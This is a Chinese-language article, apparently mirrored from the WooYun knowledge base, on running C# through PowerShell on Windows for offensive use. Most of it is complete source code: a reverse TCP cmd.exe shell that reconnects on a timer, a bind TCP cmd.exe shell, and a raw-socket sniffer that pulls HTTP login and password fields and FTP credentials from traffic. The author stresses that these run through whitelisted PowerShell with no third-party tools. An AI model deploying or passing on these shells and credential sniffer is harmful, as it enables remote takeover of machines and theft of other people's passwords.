Powershell and Windows RAW SOCKET

wyzsk發表於2020-08-19
作者: DM_ · 2015/01/20 11:37

Powershell c# and .NET


大家都知道powershell有一個非常厲害的地方是可以直接呼叫.net框架,並且.net框架在windows7/2008及以後是預設安裝的。 Powershell呼叫.net框架可以有多種方法,最簡單的方法是寫c#程式碼然後直接執行,或者在powershell中使用new-object建立.net物件,然後再呼叫。

enter image description here

(在powershell中執行c#程式碼)

enter image description here

(在powershell中直接建立.net物件)

當然powershell還有很多方法執行c#程式碼。

Windows Raw Socket


raw socket提供了底層網路包的操作,所以需要administrator的許可權,關於當前環境支援的raw socket的詳細資訊可以透過下面的命令檢視。

netsh winsock show catalog

關於c#呼叫socket的文件,你可以在msdn的連結中找到,注意socket物件在.net3.5和其他版本中有一些差異。

evil things


通曉上面的過程後,就明白基本的網路操作都可以用powershell完成,比如埠掃描,CMD SHELL,檔案上傳下載,嗅探等。

重要的是這些操作不需要任何第三方的支援!

因為windows安裝後就具備了這些條件!

而且這些操作是以白名單的powershell執行的!

比如構建一個反向連線的CMDSHELL熟悉上面的過程之後,寫起來就會變得很簡單,首先我們需要用c#寫一個反向互動式CMD shell的物件,加上定時回連的功能,並且注意這個物件必須是public的,這樣才能在powershell中呼叫。然後將你的程式碼複製進一個新的ps1檔案中,並且用Add-Type @’ [email protected][email protected]powershell呼叫.NET的socket與Process和其他物件(主要)構建一個反向互動式的CMDSHELL。

Demo


Reverse TCP SHELL

在這裡並不是呼叫的raw socket,所以不需要administrator許可權,下面的Bind TCP shell也是。只有sniffer需要administrator許可權。

enter image description here

#!c#
$Addr = "127.0.0.1"
$Port = 6666
$SleepTime = 5 #seconds

Add-Type @'
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Diagnostics;

public class ReverseTCPShell
{
    public static TcpClient tcpClient;
    public static NetworkStream stream;
    public static StreamReader streamReader;
    public static StreamWriter streamWriter;
    public static StringBuilder UserInput;

    public static void run(string IP, int port, int SleepTime)
    {
        for (; ; )
        {
            start(IP, port, SleepTime);
            System.Threading.Thread.Sleep(SleepTime * 1000);
        }   
    }
    public static void start(string IP, int port, int SleepTime)
    {
        tcpClient = new TcpClient();
        UserInput = new StringBuilder();

        if (!tcpClient.Connected)
        {
            try
            {
                tcpClient.Connect(IP, port);
                stream = tcpClient.GetStream();
                streamReader = new StreamReader(stream, System.Text.Encoding.Default);
                streamWriter = new StreamWriter(stream, System.Text.Encoding.Default);
            }
            catch (Exception)
            {
                return;
            }

            Process CmdProc;
            CmdProc = new Process();

            CmdProc.StartInfo.FileName = "cmd.exe";
            CmdProc.StartInfo.UseShellExecute = false;
            CmdProc.StartInfo.RedirectStandardInput = true;
            CmdProc.StartInfo.RedirectStandardOutput = true;
            CmdProc.StartInfo.RedirectStandardError = true;

            CmdProc.OutputDataReceived += new DataReceivedEventHandler(SortOutputHandler);
            CmdProc.ErrorDataReceived += new DataReceivedEventHandler(SortOutputHandler);

            CmdProc.Start();
            CmdProc.BeginOutputReadLine();
            CmdProc.BeginErrorReadLine();

            while (true)
            {
                try
                {
                    UserInput.Append(streamReader.ReadLine());
                    CmdProc.StandardInput.WriteLine(UserInput);
                    UserInput.Remove(0, UserInput.Length);
                }
                catch (Exception)
                {
                    streamReader.Close();
                    streamWriter.Close();
                    CmdProc.Kill();
                    break;
                }
            }
        }
    }

    public static void SortOutputHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
        StringBuilder strOutput = new StringBuilder();

        if (!String.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                strOutput.Append(outLine.Data);
                streamWriter.WriteLine(strOutput);
                streamWriter.Flush();
            }
            catch (Exception) { }
        }
    }
}

'@
[ReverseTCPShell]::run($addr, $port, $SleepTime)

Bind TCP SHELL

enter image description here

#!c#
$port = 2233

Add-Type @'
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Diagnostics;

public class BindTCPShell
{
    public static NetworkStream stream;
    public static StreamReader streamReader;
    public static StreamWriter streamWriter;
    public static StringBuilder UserInput;

    public static void run(int port)
    {
        try
        {
            IPAddress localAddr = IPAddress.Parse("127.0.0.1");
            TcpListener server = new TcpListener(localAddr, port);

            while (true)
            {

                server.Start();

                TcpClient client = server.AcceptTcpClient();
                Byte[] bytes = new Byte[client.ReceiveBufferSize];

                Process CmdProc;
                CmdProc = new Process();

                CmdProc.StartInfo.FileName = "cmd.exe";
                CmdProc.StartInfo.UseShellExecute = false;
                CmdProc.StartInfo.RedirectStandardInput = true;
                CmdProc.StartInfo.RedirectStandardOutput = true;
                CmdProc.StartInfo.RedirectStandardError = true;

                CmdProc.OutputDataReceived += new DataReceivedEventHandler(SortOutputHandler);
                CmdProc.ErrorDataReceived += new DataReceivedEventHandler(SortOutputHandler);

                CmdProc.Start();
                CmdProc.BeginOutputReadLine();
                CmdProc.BeginErrorReadLine();

                stream = client.GetStream();
                streamReader = new StreamReader(stream, System.Text.Encoding.Default);
                streamWriter = new StreamWriter(stream, System.Text.Encoding.Default);

                UserInput = new StringBuilder();

                while (true)
                {
                    try
                    {
                        UserInput.Append(streamReader.ReadLine());
                        UserInput.Append("\n");
                        CmdProc.StandardInput.WriteLine(UserInput);
                        UserInput.Remove(0, UserInput.Length);
                    }
                    catch (Exception)
                    {
                        streamReader.Close();
                        streamWriter.Close();
                        CmdProc.Kill();
                        break;
                    }
                }
            }
        }
        catch (SocketException)
        {
        }

    }

    public static void SortOutputHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
        StringBuilder strOutput = new StringBuilder();

        if (!String.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                strOutput.Append(outLine.Data);
                streamWriter.WriteLine(strOutput);
                streamWriter.Flush();
            }
            catch (Exception ) { }
        } 
    }
}
'@
[BindTCPShell]::run($port)

SNIFFER

enter image description here

注意這裡需要administrator許可權。下面的demo只是做到了TCP解析的部分,filter也只是簡單的給出了HTTP和FTP的篩選,關於IP和TCP解包的部分我已經在註釋中給出了。 如果有其他需求可以自行修改。

#!c#
$Addr = "192.168.200.173"

Add-Type @'
using System;
using System.Collections.Generic;
using System.Text;
using System.Text.RegularExpressions;
using System.Net.Sockets;
using System.Net;
using System.IO;

public class Sniffer
{
    public static void run(string Addr)
    {
        try
        {
            Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);

            using (socket)
            {
                socket.Bind(new IPEndPoint(IPAddress.Parse(Addr), 0));
                System.Console.WriteLine("[+] binded to [" + socket.LocalEndPoint + "]");
                System.Console.WriteLine();

                byte[] inValue = BitConverter.GetBytes(1); // {1,0,0,0} for receiving all packets.
                byte[] outValue = BitConverter.GetBytes(0);
                socket.IOControl(IOControlCode.ReceiveAll, inValue, outValue);

                byte[] buf = new byte[1500];
                IPEndPoint ipep = new IPEndPoint(IPAddress.Any, 0);

                int index = 0;
                while (true)
                {
                    index++;
                    ipep.Address = IPAddress.Any;
                    ipep.Port = 0;

                    EndPoint ep = (EndPoint)ipep;

                    int bufferReceivedSize = socket.ReceiveFrom(buf, ref ep);

                    IP ipPacket = new IP(buf);
                    if (ipPacket.protocol == 6)
                    {
                        TCP tcp = new TCP(ipPacket.data);
//                            System.Console.WriteLine("{0} : {1} --> {2} : {3} bytes.", (protocol)ipPacket.protocol, ipPacket.srcAddr, ipPacket.dstAddr, ipPacket.dataLen);
//                            System.Console.WriteLine("{0}=>{1}", tcp.srcPort, tcp.destPort);
                        DataFilter dataFilter = new DataFilter(tcp.data);
                    }

                }
            }
        }

        catch (SocketException err)
        {
            System.Console.WriteLine(err.Message);
            return;
        }
    }
}

public enum protocol : byte
{
    //Reference : http://en.wikipedia.org/wiki/List_of_IP_protocol_numbers

    ICMP = 1,
    IGMP = 2,
    GGP = 3,
    IPCAP = 4,
    IPSTREAM = 5,
    TCP = 6,
    EGP = 8,
    IGRP = 9,
    UDP = 17,
    IPV6OIPV4 = 29
}

class IP
{
    //you can find the details about IP packet decoding here. [http://zh.wikipedia.org/wiki/IPv4#.E6.8A.A5.E6.96.87.E7.BB.93.E6.9E.84]

    public int version;                             //[ 4bit]
    public int headLen;                             //[ 4bit]
    public int service;                             //[ 8bit]
    public int dataLen;                             //[16bit]
    public int IPIdentificationNumber;              //[16bit]
    public int flag;                                //[ 3bit]
    public int fragmentOffset;                      //[13bit]
    public byte TTL;                                //[ 8bit]
    public int protocol;                            //[ 8bit]
    public int checkSum;                            //[16bit]
    public IPAddress srcAddr;                       //[32bit]
    public IPAddress dstAddr;                       //[32bit]

    public byte[] option;                           //[32bit] #not sure, exists if headLen > 20.
    public byte[] data;                             //[32bit]

    public IP(byte[] buf)
    {
        version = (buf[0] & 0xf0) >> 4;
        headLen = (int)(buf[0] & 0x0f) * 4;
        service = (int)(buf[1]);
        dataLen = ((int)buf[2] << 8) + (int)buf[3];
        IPIdentificationNumber = ((int)buf[5] << 8) + (int)buf[5];
        flag = buf[6] >> 5;
        fragmentOffset = (((int)buf[6] & 0x1F) << 8) + (int)buf[7];
        TTL = buf[8];
        protocol = (int)buf[9];
        checkSum = ((int)buf[10] << 8) + (int)buf[11];

        byte[] addr = new byte[4];

        //srcAddr
        Array.Copy(buf, 12, addr, 0, 4);
        srcAddr = new IPAddress(addr);

        //dstAddr
        addr = new byte[4];
        Array.Copy(buf, 16, addr, 0, 4);
        dstAddr = new IPAddress(addr);

        if (headLen > 20)
        {
            option = new byte[headLen - 20];
            Array.Copy(buf, 20, option, 0, option.Length);
        }

        data = new byte[dataLen - headLen];
        Array.Copy(buf, headLen, data, 0, data.Length);
    }
}

public class TCP
{
    public int srcPort = 0;
    public int destPort = 0;
    public uint sequenceNo = 0;
    public uint nextSeqNo = 0;
    public int headLen = 0;
    public int flag = 0;
    public int windowSize = 0;
    public int checkSum = 0;
    public int urgPtr = 0;

    public byte[] option;
    public byte[] data;

    public TCP(byte[] buf)
    {
        srcPort = ((int)buf[0] << 8) + (int)buf[1];
        destPort = ((int)buf[2] << 8) + (int)buf[3];
        sequenceNo = ((uint)buf[7] << 24) + ((uint)buf[6] << 16) + ((uint)buf[5] << 8) + ((uint)buf[4]);
        nextSeqNo = ((uint)buf[11] << 24) + ((uint)buf[10] << 16) + ((uint)buf[9] << 8) + ((uint)buf[8]);
        headLen = ((buf[12] & 0xF0) >> 4) * 4;
        flag = (buf[13] & 0x3F);
        windowSize = ((int)buf[14] << 8) + (int)buf[15];
        checkSum = ((int)buf[16] << 8) + (int)buf[17];
        urgPtr = ((int)buf[18] << 8) + (int)buf[19];

        if (headLen > 20)
        {
            option = new byte[headLen - 20];
            Array.Copy(buf, 20, option, 0, option.Length);
        }

        data = new byte[buf.Length - headLen];
        Array.Copy(buf, headLen, data, 0, data.Length);

    }
}

public class DataFilter
{
    Regex SMTPAuth = new Regex("AUTH LOGIN|AUTH PLAIN", RegexOptions.IgnoreCase);

    public DataFilter(byte[] buf)
    {

        String stringsData = System.Text.Encoding.Default.GetString(buf);
//            System.Console.WriteLine(stringsData);
        List<string> HTTPdatas = HTTPFilter(buf, stringsData);
        List<string> FTPdatas = FTPFilter(buf, stringsData);

    }

    public static List<string> FTPFilter(byte[] buf, String stringsData)
    {
        Regex FTPUser = new Regex("(?<=USER )[^\r]*", RegexOptions.IgnoreCase);
        Regex FTPPass = new Regex("(?<=PASS )[^\r]*", RegexOptions.IgnoreCase);

        List<string> r = new List<string>();
        if (FTPUser.IsMatch(stringsData)){
            MatchCollection username = FTPUser.Matches(stringsData);
            MatchCollection password = FTPUser.Matches(stringsData);
            System.Console.WriteLine();
            System.Console.WriteLine(String.Format("FTP username:{0}  password:{1}", username[0].ToString(), password[0].ToString()));
            r.Add(String.Format("FTP username:{0}  password:{1}", username[0].ToString(), password[0].ToString()));
        }

        return r;
    }

    public static List<string> HTTPFilter(byte[] buf, String stringsData)
    {
        String[] HTTPfileds = {
                                    //usernames
                                    "log","login", "wpname", "ahd_username", "unickname", "nickname", "user", "user_name",
                                    "alias", "pseudo", "email", "username", "_username", "userid", "form_loginname", "loginname",
                                    "login_id", "loginid", "session_key", "sessionkey", "pop_login", "screename",
                                    "uname", "ulogin", "acctname", "account", "member", "mailaddress", "membername", "login_username",
                                    "login_email", "loginusername", "loginemail", "uin", "sign-in",

                                    //passwords
                                    "ahd_password", "pass", "password", "_password", "passwd", "session_password", "sessionpassword", 
                                    "login_password", "loginpassword", "form_pw", "pw", "userpassword", "pwd", "upassword", "login_password",
                                    "passwort", "passwrd", "wppassword", "upasswd"
                                };

        List<string> r = new List<string>();


        for (int i = 0; i < HTTPfileds.Length; i++)
        {
            Regex testPattern = new Regex(String.Format("{0}=([^&]+)", HTTPfileds[i]), RegexOptions.IgnoreCase);
            if (testPattern.IsMatch(stringsData))
            {
                MatchCollection m = testPattern.Matches(stringsData);
//                    System.Console.WriteLine();
                System.Console.WriteLine(m[0]);
//                    System.Console.WriteLine(stringsData);
                r.Add(m[0].ToString());
            }
        }

        return r;
    }

}
'@

[Sniffer]::run($Addr)
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章